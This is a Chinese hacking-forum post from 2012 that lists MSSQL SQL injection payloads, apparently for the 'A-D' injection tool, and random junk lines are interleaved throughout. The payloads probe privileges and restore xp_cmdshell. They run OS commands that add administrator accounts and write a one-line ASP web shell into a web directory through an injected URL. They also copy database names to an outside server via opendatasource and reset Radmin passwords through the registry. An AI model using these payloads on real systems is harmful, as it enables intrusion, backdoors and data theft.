中国网络渗透测试联盟
标题:
阿D常用的一些注入命令
[打印本页]
作者:
admin
时间:
2012-9-13 17:26
标题:
阿D常用的一些注入命令
阿D常用的一些注入命令
+ d1 i% f" I% l9 y
//看看是什么权限的
9 ]7 c. K- I; V6 J0 Y3 A
and 1=(Select IS_MEMBER('db_owner'))
$ C: M" ]+ F2 j! y
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
6 e+ u' l3 t( {7 C Q( p8 [, r
: m- T I3 @0 s0 O! [ w2 R
//检测是否有读取某数据库的权限
3 Q( ]4 V4 l( }4 r t
and 1= (Select HAS_DBACCESS('master'))
/ V# @+ }$ K4 i& W
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
8 n( \! c, y Z" y; D' t( j n; Q
8 w8 w/ D7 V& @/ [5 q
. t$ m& t2 @; m6 S1 f2 A
数字类型
) D4 O# c8 Z+ u5 @0 m# j% M; I
and char(124)%2Buser%2Bchar(124)=0
1 w$ ^2 b6 F+ h8 Z, }
0 h) A; C! h; g* N, Q
字符类型
+ H" D4 I- w( s& O
' and char(124)%2Buser%2Bchar(124)=0 and ''='
. f( n6 S( l* r- ~
& @) x7 y: s/ {
搜索类型
) _$ G+ }5 V; C5 H: W9 c
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
! w* n7 h6 B5 _5 K" k# B C- u
+ R. ]. ~% E2 B' H$ [
爆用户名
% D5 T8 s2 ~8 `; d# r8 H/ \; r ~
and user>0
1 i& @4 L- w& |8 z( K
' and user>0 and ''='
- S& u6 q k" z E5 f4 E
2 G) K' }+ N. @: H5 f
检测是否为SA权限
Y4 b* E/ S3 y/ P, H. b+ a
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 g* x0 ]* |2 l+ P) Y1 @
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
' c% ?; t1 D: m' q$ b8 N( U0 w4 E
) D7 \% A6 F7 @
检测是不是MSSQL数据库
! m Q0 C# S6 C# q- S
and exists (select * from sysobjects);--
0 P( W; ^9 Z) N7 X+ O) W
. r* h6 K9 b2 {' a1 x6 S* J' u
检测是否支持多行
w, @5 p7 ]9 ^9 H- z, w) R
;declare @d int;--
8 Q/ h" L+ o3 P% v4 b# \
& V4 l/ S$ c1 r9 v
恢复 xp_cmdshell
; M( W" o2 I1 ^
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
0 e3 p5 `) d/ b9 K# o& r
2 d z& U3 S' O! K7 o- Z
( I+ ~# H% h% g( J; Y: T" v' M
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
9 p2 T. O0 m5 ]- [( d0 s0 _
: k& m# U1 h" p3 H# O
//-----------------------
1 }: U- V$ k0 I1 _; @
// 执行命令
3 F, m; R! G) T) _8 M% Z! @
//-----------------------
; {* H6 S, Y# B% j+ s4 K K
首先开启沙盘模式:
( w. N* V) w1 u j, @
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
, W; c5 m" G9 g6 l! n
% R3 h$ G0 K4 g. ~
然后利用jet.oledb执行系统命令
" B- B: j9 n3 T
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
( Q3 r5 g: V2 s h- c
1 \/ H$ a7 A3 t) l6 c/ j' u2 h
执行命令
: [* E% Z" [4 V* o( D# f5 h
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
# R( h1 P, e* Z' Q) q3 x
; \. _1 v# }" N8 D0 ~* n; W
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; O2 C% X$ b( N& n$ L* o+ l- |
5 ^5 y# j3 i7 C0 z
判断xp_cmdshell扩展存储过程是否存在:
: \: E* q% \. L3 ?" ? c* F
http://192.168.1.5/display.asp?keyno=188
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
; c" I* w* q" e( A
/ |+ I+ J7 b# Y4 i
写注册表
$ u" R! n( E ]7 L
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) X5 L, G8 i3 S* v& d
5 f- H! I* T) S1 L
REG_SZ
+ c0 a' u$ Q, r& A
* g* ~. r3 X! j: }) A+ f s
读注册表
6 e! O$ O" E0 n2 F- Z; L; X; _. y
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
# u5 z$ |# w9 v# ^9 l# q
, W+ F* C3 ]; S/ c6 o% [9 @. g Z
读取目录内容
1 P ?( }8 a6 |- E3 X
exec master..xp_dirtree 'c:\winnt\system32\',1,1
, c; s2 ?: r. z; H- L
. d$ m8 C- E" j6 P0 @/ |
# T; j2 V" o, C2 x7 B
数据库备份
' B3 K2 N0 v' d T6 I) y' P
backup database pubs to disk = 'c:\123.bak'
& i; J2 K" w$ B% l) v8 }/ r
# C) T- _9 c( {0 x, W' P
//爆出长度
' ]& A7 ^- K! w' q+ P$ j* j
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
7 u( w5 _( o( D8 D3 A0 s
" y; |0 w/ J+ d& T
# B; E9 U3 ^; A
; T! ^2 D8 k% t2 v6 E! l
更改sa口令方法:用sql综合利用工具连接后,执行命令:
3 T5 Z( E. U5 g5 O6 d
exec sp_password NULL,'新密码','sa'
4 i) `. l0 A8 y+ U+ A9 z
1 N9 _( b+ g' S% K0 R" G
添加和删除一个SA权限的用户test:
& Z: J, E1 Q ^5 G0 {; r; t B
exec master.dbo.sp_addlogin test,ptlove
% y: H4 H* M4 A* @
exec master.dbo.sp_addsrvrolemember test,sysadmin
) ], d+ j5 ^4 l) p3 q
0 b" U6 t9 v6 u" C* O
删除扩展存储过过程xp_cmdshell的语句:
- ?- J% q3 }/ @0 w/ O% |: M
exec sp_dropextendedproc 'xp_cmdshell'
$ @: s" N$ g' T0 r5 ~7 M# k0 F R$ E
- l8 J& O+ E' {& B0 _4 @) w m# M5 |& G
添加扩展存储过过程
2 }9 t6 n2 ]; [! I- M. e
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
+ S2 r, h/ b+ C q$ B
GRANT exec On xp_proxiedadata TO public
1 f4 E1 Y5 \* W- y0 n. h
6 r: S; `7 W9 N; \( X" N# M
1 E/ ]% F5 ]0 [0 ?2 u8 o
停掉或激活某个服务。
5 b; b2 @& g- E$ V" |9 `
. r/ m; j! ?3 D% o i8 I! {- m! U
exec master..xp_servicecontrol 'stop','schedule'
# O& F! s/ U- M. h( ] {
exec master..xp_servicecontrol 'start','schedule'
1 _: f6 M! r6 b2 f+ F& z
1 c4 W4 r+ Z6 c4 J, K
dbo.xp_subdirs
, [% @6 t. A3 W- ?7 J. X
+ |0 r$ x \, |, w
只列某个目录下的子目录。
8 D9 R3 n% ?- c# r/ _( J
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
0 y. }! z% l. u
! \( E1 y# H0 x
dbo.xp_makecab
( T9 K ^7 Z+ f; v
7 ^0 F- |7 ^" D' i
将目标多个档案压缩到某个目标档案之内。
: n+ u( Y8 M; e6 Q f( y w- _
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
2 o8 S3 E. y" \1 I" Q
5 D* a- ], D7 i) x6 O4 F; P
dbo.xp_makecab
6 z6 } g6 G9 k% |! X
'c:\test.cab','mszip',1,
- m, o( g% A8 S1 ^) S
'C:\Inetpub\wwwroot\SQLInject\login.asp',
7 N) Y5 g C! j( v, K
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
& O7 Y( E9 t2 `$ I
" \/ D: i" R; X9 [& I7 ?7 y, W
xp_terminate_process
- X1 Q* L% E. d3 @( t
5 B6 g1 l) F& d! c: j! Z! J' T
停掉某个执行中的程序,但赋予的参数是 Process ID。
: I* l# A5 `* l+ D1 ~2 p, x
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
1 U7 B& C/ B. |1 a
8 d- _7 K+ _$ H- v; P- w
xp_terminate_process 2484
# C1 w9 b8 N0 Q8 w1 |8 P
( A/ O1 J6 Z. D0 \1 y. }6 M) \) ]
xp_unpackcab
, n' W9 @6 o5 d$ f
1 B! g2 H4 D8 Q- |$ P+ o2 M0 j0 Y
解开压缩档。
% \( P- m. Z# w
" \1 p6 c3 L P8 d1 ]) Z* X
xp_unpackcab 'c:\test.cab','c:\temp',1
^. U7 y% I/ Z9 Y# G4 r4 ]5 }& b
# d' }$ P$ h4 a) d* j
- } X, l+ A0 f& `
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
* M& j$ X: S0 ~: L7 [
$ O5 C! k0 W4 C8 ]* G% t! U
create database lcx;
* Q1 {3 n- q3 Q3 H
Create TABLE ku(name nvarchar(256) null);
& h7 K* e2 S' z. V* ?
Create TABLE biao(id int NULL,name nvarchar(256) null);
8 `) s0 R" W2 R8 R' p1 `
% v6 g$ n' H( i9 e: n2 {* a$ ~- C3 T) ?, r
//得到数据库名
, ^1 Y* i# d3 [. U1 s
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
8 q( X3 c' L5 E4 V- I$ z9 ~, i& |
$ x# {6 s# H9 h5 K7 L4 e& O" s* I
! [) w; h4 ~1 I+ k
//在Master中创建表,看看权限怎样
1 r& Z S; M8 s [
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
- ]: {6 f% i) b0 i! u, r+ ~' z
/ E/ K: X9 J0 Z1 U. R7 V( D N
用 sp_makewebtask直接在web目录里写入一句话马:
, q4 O8 Z; L# p
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:
\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
+ D- m- K; q3 l- [2 R' f
1 b9 Z- L6 {9 g, T1 x
//更新表内容
, u5 ]4 c5 @3 [8 w7 h; Q+ j# b
Update films SET kind = 'Dramatic' Where id = 123
* h! z% K0 j8 b* ]# Z/ U
% T" ~ J/ E/ k7 a" }
//删除内容
' j3 e) {7 `3 u( K
delete from table_name where Stockid = 3
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2